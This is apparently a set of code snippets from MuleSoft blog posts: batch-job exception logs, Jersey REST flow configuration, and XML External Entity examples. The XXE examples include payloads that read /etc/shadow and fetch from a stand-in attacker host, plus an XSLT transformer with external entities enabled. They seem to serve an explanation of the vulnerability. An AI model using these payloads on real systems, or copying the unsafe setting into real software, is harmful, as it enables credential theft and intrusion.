This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
************************************************************************************************** | |
* - - + Exception Type + - - * - - + Step + - - * - - + Count + - - * | |
************************************************************************************************** | |
* com.mulesoft.module.batch.exception.BatchException * Batch_Step * 10 * | |
* com.mulesoft.module.batch.exception.BatchException * Second_Batch_Step * 9 * | |
************************************************************************************************** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This is the first record to show this exception on this step for this job instance. Subsequent records with the same failureswill not be logged for performance and log readability reasons: | |
******************************************************************************** | |
Message : null (org.mule.blog.WantedByDEAException). Message payload is of type: String | |
Code : MULE_ERROR--2 | |
-------------------------------------------------------------------------------- | |
Exception stack is: | |
1. null (org.mule.blog.WantedByDEAException) | |
org.mule.blog.FraudValidator:11 (http://www.mulesoft.org/docs/site/current3/apidocs/org/mule/blog/WantedByDEAException.html) | |
2. null (org.mule.blog.WantedByDEAException). Message payload is of type: String (org.mule.api.MessagingException) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
log4j.logger.com.mulesoft.module.batch=DEBUG |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<!DOCTYPE results [<!ENTITY disclaimer SYSTEM "file:///path/to/disclaimer.txt">]> | |
<response> | |
<data> | |
<some-data /> | |
</data> | |
<disclaimer> | |
&disclaimer; | |
</disclaimer> | |
</response> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<!DOCTYPE results [<!ENTITY disclaimer SYSTEM "file:///etc/shadow">]> | |
<response> | |
<data> | |
<some-data /> | |
</data> | |
<disclaimer> | |
&disclaimer; | |
</disclaimer> | |
</response> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<!DOCTYPE results [ | |
<!ENTITY xxe SYSTEM "http://www.attacker.com/fake.xml" >]> | |
]> | |
<response> | |
<data> | |
&xxe; | |
</data> | |
</response> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<mulexml:xslt-transformer name="unsafeXslt" acceptExternalEntities="true"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Path("/helloworld") | |
public class HelloWorldResource { | |
@POST | |
@Produces("text/plain") | |
public String sayHelloWorld() { | |
return "Hello World"; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<flow name="helloWorldResource"> | |
<http:inbound-endpoint host="localhost" port="${port}" exchange-pattern="request-response"/> | |
<jersey:resources> | |
<component class="org.mule.module.jersey.HelloWorldResource"/> | |
</jersey:resources> | |
</flow> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<flow name="helloWorldResource"> | |
<http:inbound-endpoint host="localhost" port="${port}" exchange-pattern="request-response"/> | |
<jersey:resources> | |
<component class="org.mule.module.jersey.HelloWorldResource"/> | |
<jersey:context-resolver class="org.mule.module.jersey.contextresolver.NullContextResolver" /> | |
<jersey:context-resolver class="org.mule.module.jersey.contextresolver.JaxbCustomContextResolver" /> | |
</jersey:resources> | |
</flow> |